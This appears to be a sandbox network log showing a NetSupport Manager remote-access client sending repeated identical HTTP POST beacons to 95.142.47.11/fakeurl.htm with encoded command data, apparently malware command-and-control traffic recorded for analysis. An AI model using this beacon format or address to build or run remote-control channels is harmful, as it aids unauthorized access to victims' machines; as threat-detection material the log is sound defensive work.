Dec 6, 2023 14:34:29.823945999 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:29.924024105 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:30.024027109 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:30.125004053 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:30.225090027 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:30.324990988 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:30.425919056 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:30.531060934 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:30.631934881 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:30.732002974 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:30.831944942 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:30.932041883 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:31.032944918 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:31.132977009 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:31.233935118 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:31.333975077 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:31.434937000 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:31.534986973 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:31.634942055 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:31.736144066 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:31.835968971 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:31.936916113 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:32.036962032 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:32.138096094 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:32.238919020 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:32.338977098 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:32.438920975 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:32.539949894 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:32.641009092 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:32.741921902 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:32.842056990 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:32.941962004 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:33.043070078 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:33.143795013 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:33.243980885 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:33.343946934 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:33.444032907 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:33.545098066 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:33.644942999 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:33.745951891 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:33.845973969 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:33.946949005 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:34.046928883 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:34.147903919 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:34.248869896 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:34.349916935 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:34.450934887 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:34.558865070 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:34.659929991 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:34.759977102 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:34.860939026 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:34.961956024 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:35.062922001 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:35.162909031 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:35.264184952 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:35.364916086 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:35.465178967 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:35.565907001 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:35.909297943 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:36.013761997 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:36.112921000 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:36.315963030 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:36.421046972 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:36.521920919 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:36.622916937 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:36.723905087 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:36.823925972 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:36.924912930 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:37.024933100 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:37.125907898 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:37.225975037 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:37.327115059 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:37.428002119 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:37.528945923 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:37.629029036 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:37.730045080 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:37.831029892 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:37.931034088 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:38.032339096 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:38.133080006 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:38.234823942 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:38.336035967 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:38.437056065 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:38.538052082 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:38.637950897 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:38.738910913 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:38.838891983 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:38.939903021 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:39.039916992 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:39.141002893 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:39.242036104 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:39.342940092 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:39.443909883 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
